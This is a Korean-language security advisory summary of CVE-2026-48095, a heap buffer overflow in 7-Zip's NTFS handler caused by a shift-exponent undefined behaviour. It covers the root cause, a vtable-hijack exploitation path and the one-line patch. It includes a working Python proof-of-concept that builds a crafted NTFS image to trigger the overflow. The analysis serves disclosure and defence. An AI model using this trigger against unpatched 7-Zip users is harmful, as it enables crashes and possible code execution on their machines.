[하루한줄] CVE-2026-48095 : 7-Zip NTFS 핸들러의 Shift 연산 정수 오버플로우(UB)로 인한 Heap Buffer Overflow RCE 취약점

Title

CVE-2026-48095 : 7-Zip NTFS 핸들러의 Shift 연산 정수 오버플로우(UB)로 인한 Heap Buffer Overflow RCE 취약점

URL

https://securitylab.github.com/advisories/GHSL-2026-140_7-Zip/

Target

  • 7-Zip 26.00 및 그 이전 모든 버전(NTFS 압축 스트림 지원 도입 이후 전 버전)
  • 32bit/64bit 빌드 모두 영향
  • stock 7z.dll의 NTFS 핸들러(.ntfs, .img 등록 + 시그니처 풀백)
  • v26.01(2026-04-27)에서 패치

Explain

7-Zip은 일반 압축 포맷뿐 아니라 NTFS 디스크 이미지(.ntfs, .img)도 직접 파싱하여 내부 파일을 추출할 수 있습니다. NTFS는 LZNT1 압축을 사용하는데, 압축 스트림을 처리할 때 “압축 단위(compression unit)” 크기만큼 입력/출력 버퍼를 잡습니다.

CVE-2026-48095은 이 버퍼 크기를 계산하는 CInStream::GetCuSize()의 시프트 연산이 C++ 미정의 동작(UB)을 일으켜, 입력 버퍼(_inBuf)가 단 1바이트로 과소 할당되고 그 직후 최대 256MB의 공격자 제어 데이터가 그대로 기록되면서 발생하는 힙 버퍼 오버플로우입니다. 오버플로우된 데이터가 인접한 스트림 객체의 vtable 포인터를 덮어쓰기 때문에 코드 실행(RCE)까지 이어질 수 있습니다.

Root Cause

근본 원인은 GetCuSize()(UInt32)1 << (BlockSizeLog + CompressionUnit) 연산에서 시프트 지수가 타입 폭(32비트)에 도달할 수 있다는 점입니다. 파서가 두 입력값(클러스터 크기 로그, 압축 단위)을 충분히 크게 허용하기 때문에 지수가 32가 되고, 32비트 타입을 32비트만큼 시프트하는 것은 UB입니다.

// [1] NtfsHandler.cpp:122-134 — 부트 섹터 파서: ClusterSizeLog를 30까지 허용
ClusterSizeLog = SectorSizeLog + sectorsPerClusterLog;
if (ClusterSizeLog > 30)        // 28, 29, 30 통과 (공격자는 28 사용)
    return false;

// [2] NtfsHandler.cpp:430, 509 — 비상주 압축 $DATA 속성의 CompressionUnit은
//     공격자 제어 속성 헤더에서 그대로 읽히며, CompressionUnit == 4가 명시적으로 허용됨

// [3] NtfsHandler.cpp:687 — 버퍼 크기 계산: 여기서 UB 발생
UInt32 GetCuSize() const { return (UInt32)1 << (BlockSizeLog + CompressionUnit); }
//   BlockSizeLog(28) + CompressionUnit(4) = 32 → 32비트 타입을 32비트 시프트 = UB
//   x86/x64 CPU는 시프트 카운트를 마스킹(32 & 31 = 0) → (UInt32)1 << 0 = 1

// [4] NtfsHandler.cpp:695-697 — 과소 할당
UInt32 cuSize = GetCuSize();    // UB로 인해 1
_inBuf.Alloc(cuSize);           // 1바이트만 할당
_outBuf.Alloc(kNumCacheChunks << _chunkSizeLog);  // x86: 2바이트 / x64: 8GB

// [5] NtfsHandler.cpp:940-941 — 힙 오버플로우 발생
const size_t compressed = (size_t)numChunks << BlockSizeLog;  // 최대 256MB
RINOK(ReadStream_FALSE(Stream, _inBuf + offs, compressed))    // 1바이트 버퍼에 256MB 기록
  1. [1] NTFS 부트 섹터 파서는 ClusterSizeLog를 최대 30까지 허용하므로 공격자는 28(256MB 클러스터)을 넣을 수 있습니다.
  2. [2] 비상주 압축 데이터 속성의 CompressionUnit은 속성 헤더에서 그대로 읽히며 값 4가 허용됩니다.
  3. [3] 그 결과 GetCuSize()의 시프트 지수가 28 + 4 = 32가 되어 UB가 발생하는데, 실제 x86/x64 하드웨어는 시프트 카운트의 하위 비트만 사용(32 → 0)하므로 결과가 1이 됩니다.
  4. [4] 이 값으로 _inBuf가 1바이트만 할당됩니다 (_outBuf는 동일 UB로 x86에서 2바이트, x64에서 8GB로 계산되지만, 핵심은 오버플로우 대상인 _inBuf가 1바이트라는 점).
  5. [5] 이후 압축 데이터를 디스크에서 _inBuf로 읽어오는 첫 단계에서 최대 256MB가 1바이트 버퍼에 기록되며 힙이 오버플로우됩니다.

플랫폼별로 보면, 32비트 빌드에서는 _outBuf 계산((size_t)2 << 32) 역시 UB로 2바이트가 되어 두 할당 모두 성공하고 오버플로우가 무조건 도달합니다. 64비트 빌드에서는 (size_t)2 << 32가 유효한 8GB 시프트가 되어 _outBuf.Alloc(8GB)가 RAM이 충분한 시스템(64GB에서 확인)에서 성공하며, 그 뒤 동일한 오버플로우에 도달합니다. 메모리가 부족하면 이 할당이 CNewException으로 실패해 DoS로 그칩니다.

Exploit

익스플로잇 관점의 핵심은 _inBuf 바로 뒤에 스트림 객체가 놓인다는 힙 레이아웃입니다. /O1 릴리즈 빌드의 스트림 객체(CInStream)는 _inBuf로부터 304바이트(0x130) 뒤에 할당됩니다. ReadStream_FALSEstream->Read()를 64KB(kBlockSize) 단위 루프로 호출하는데, 첫 번째 Read()_inBuf부터 64KB를 쓰면서 304바이트 지점의 스트림 객체 vtable 포인터를 덮어씁니다.

그리고 두 번째 Read()가 손상된 vtable을 통해 디스패치되며 전형적인 vtable hijack이 성립합니다. 기록되는 내용은 크래프트된 이미지의 NTFS 클러스터 데이터, 즉 공격자가 완전히 제어하므로 덮어쓸 vtable 포인터 값도 제어할 수 있습니다.

Poc

Poc는 아래 블로그에서 확인이 가능하며, mkntfs 등 기존 도구가 64KB 초과 클러스터를 지원하지 않기 때문에 MFT 구조 전체를 손으로 합성합니다. ClusterSizeLog = 28(256MB 클러스터), 256MB 오프셋의 MFT 레코드, CompressionUnit = 4인 압축 $DATA 속성을 가진 512MB 희소(sparse) NTFS 이미지(실 데이터 약 8KB)를 만들어 트리거합니다.

clang UBSan으로 shift exponent 32 is too large for 32-bit type 'UInt32' 및 invalid vptr로 인한 SEGV가 확인되었습니다.

https://securitylab.github.com/advisories/GHSL-2026-140_7-Zip/

#!/usr/bin/env python3
"""Generate a sparse NTFS image with ClusterSizeLog=28 and a compressed
$DATA attribute with CompressionUnit=4 to trigger GetCuSize() UB."""
import struct, os, sys

boot = bytearray(512)
boot[0:3] = b'\xEB\x52\x90'
boot[3:11] = b'NTFS    '
struct.pack_into('<H', boot, 11, 512)
boot[13] = 0xED  # ClusterSizeLog = 28
for i in range(14, 21): boot[i] = 0
boot[21] = 0xF8
struct.pack_into('<H', boot, 24, 63)
struct.pack_into('<H', boot, 26, 255)
struct.pack_into('<Q', boot, 40, 2 << 19)  # TotalSectors
struct.pack_into('<Q', boot, 48, 1)  # MftCluster=1 -> offset 256MB
boot[64] = 0xF6
boot[68] = 0xF6
struct.pack_into('<Q', boot, 72, 0x1234567890ABCDEF)
boot[510] = 0x55; boot[511] = 0xAA

MFT_REC = 1024

def mft_rec(seq, flags, attrs, rec_num=0):
    r = bytearray(MFT_REC)
    r[0:4] = b'FILE'
    struct.pack_into('<H', r, 4, 0x30)   # UpdateSequenceOffset
    struct.pack_into('<H', r, 6, 3)      # UpdateSequenceSize
    struct.pack_into('<Q', r, 8, 0)
    struct.pack_into('<H', r, 16, seq)
    struct.pack_into('<H', r, 18, 1)
    struct.pack_into('<H', r, 20, 0x38)
    struct.pack_into('<H', r, 22, flags)
    bytes_in_use = (0x38 + len(attrs) + 8 + 7) & ~7
    struct.pack_into('<I', r, 24, bytes_in_use)
    struct.pack_into('<I', r, 28, MFT_REC)
    struct.pack_into('<I', r, 0x2C, rec_num)
    r[0x38:0x38+len(attrs)] = attrs
    struct.pack_into('<I', r, 0x38+len(attrs), 0xFFFFFFFF)
    usn = 0x0001
    struct.pack_into('<H', r, 0x30, usn)
    orig0 = struct.unpack_from('<H', r, 510)[0]
    orig1 = struct.unpack_from('<H', r, 1022)[0]
    struct.pack_into('<H', r, 0x32, orig0)
    struct.pack_into('<H', r, 0x34, orig1)
    struct.pack_into('<H', r, 510, usn)
    struct.pack_into('<H', r, 1022, usn)
    return r

def std_info():
    d = bytearray(48)
    a = bytearray(24 + len(d))
    struct.pack_into('<I', a, 0, 0x10)
    struct.pack_into('<I', a, 4, len(a))
    a[8] = 0
    struct.pack_into('<H', a, 14, 0x18)
    struct.pack_into('<I', a, 16, len(d))
    a[24:24+len(d)] = d
    return a

def filename(name):
    nu = name.encode('utf-16-le')
    fn = bytearray(66 + len(nu))
    struct.pack_into('<Q', fn, 0, 5)
    fn[64] = len(name)
    fn[65] = 3
    fn[66:66+len(nu)] = nu
    raw_len = 24 + len(fn)
    padded_len = (raw_len + 7) & ~7
    a = bytearray(padded_len)
    struct.pack_into('<I', a, 0, 0x30)
    struct.pack_into('<I', a, 4, padded_len)
    a[8] = 0
    struct.pack_into('<H', a, 14, 0x18)
    struct.pack_into('<I', a, 16, len(fn))
    a[24:24+len(fn)] = fn
    return a

def compressed_data():
    rl = bytes([0x11, 0x01, 0x01, 0x00])  # 1 cluster at LCN 1
    hdr_size = 0x48
    sz = (hdr_size + len(rl) + 7) & ~7
    a = bytearray(sz)
    struct.pack_into('<I', a, 0, 0x80)
    struct.pack_into('<I', a, 4, sz)
    a[8] = 1
    struct.pack_into('<Q', a, 0x10, 0)     # LowVcn
    struct.pack_into('<Q', a, 0x18, 0)     # HighVcn
    struct.pack_into('<H', a, 0x20, hdr_size)  # RunlistOffset
    a[0x22] = 4                            # CompressionUnit = 4
    cs = 1 << 28
    struct.pack_into('<Q', a, 0x28, cs)    # AllocatedSize
    struct.pack_into('<Q', a, 0x30, 100)   # Size
    struct.pack_into('<Q', a, 0x38, 100)   # InitializedSize
    struct.pack_into('<Q', a, 0x40, cs)    # PackSize
    a[hdr_size:hdr_size+len(rl)] = rl
    return a

def mft_data_attr(num_records):
    rl = bytes([0x11, 0x01, 0x01, 0x00])
    sz = (72 + len(rl) + 7) & ~7
    a = bytearray(sz)
    struct.pack_into('<I', a, 0, 0x80)
    struct.pack_into('<I', a, 4, sz)
    a[8] = 1
    struct.pack_into('<Q', a, 16, 0)
    struct.pack_into('<Q', a, 24, 0)
    struct.pack_into('<H', a, 32, 0x40)
    struct.pack_into('<H', a, 34, 0)       # CompressionUnit = 0
    data_size = num_records * MFT_REC
    struct.pack_into('<Q', a, 40, 1 << 28)
    struct.pack_into('<Q', a, 48, data_size)
    struct.pack_into('<Q', a, 56, data_size)
    a[0x40:0x40+len(rl)] = rl
    return a

num_mft_records = 7
mft  = mft_rec(1, 1, std_info() + mft_data_attr(num_mft_records), rec_num=0)
for i in range(1, 5):
    mft += mft_rec(i+1, 1, std_info(), rec_num=i)
mft += mft_rec(1, 3, std_info(), rec_num=5)  # root dir
mft += mft_rec(1, 1, std_info() + filename("test.txt") + compressed_data(), rec_num=6)

mft_off = 1 << 28   # 256 MB
phy_size = 2 << 28   # 512 MB
out = sys.argv[1] if len(sys.argv) > 1 else "poc_ntfs_sparse.ntfs"
with open(out, 'wb') as f:
    f.write(boot)
    f.seek(mft_off)
    f.write(mft)
    f.seek(phy_size - 1)
    f.write(b'\x00')

print(f"Generated: {out} ({os.stat(out).st_size} bytes apparent)")

Patch

취약점이 제보된 3일 뒤에 2026-04-27에 수정이 반영된 v26.01이 릴리즈 되었고, 수정 사항으로는 실제 패치는 부트 섹터 파서의 클러스터 크기 상한을 낮춘 한줄 변경입니다.

- if (ClusterSizeLog > 30) // 26.00: 최대 2^30 = 1GB 클러스터 허용
+ if (ClusterSizeLog > 21) // 26.01: 최대 2^21 = 2MB (NTFS 실제 최대 클러스터)
  return false;

BlockSizeLog에는 ClusterSizeLog가 그대로 대입되고(NtfsHandler.cpp:1231), 압축 단위는 CompressionUnit ∈ {0, 4}만 허용되므로(IsCompressionUnitSupported), GetCuSize()의 시프트 지수 BlockSizeLog + CompressionUnit의 최댓값은 패치 전 30 + 4 = 34(공격자는 28을 골라 정확히 32로 맞춰 UB 유발)에서 패치 후 21 + 4 = 25로 줄어듭니다.

25 < 32이므로 (UInt32)1 << 25는 정의된 연산이 되어 _inBuf가 압축 단위 크기(최대 32MB)로 정상 할당되고, _outBuf(kNumCacheChunks(2) << _chunkSizeLog) 역시 최대 64MB로 묶여 과소 할당과 x64의 8GB 할당 DoS 경로가 모두 차단됩니다.

Reference

https://securitylab.github.com/advisories/GHSL-2026-140_7-Zip/



본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.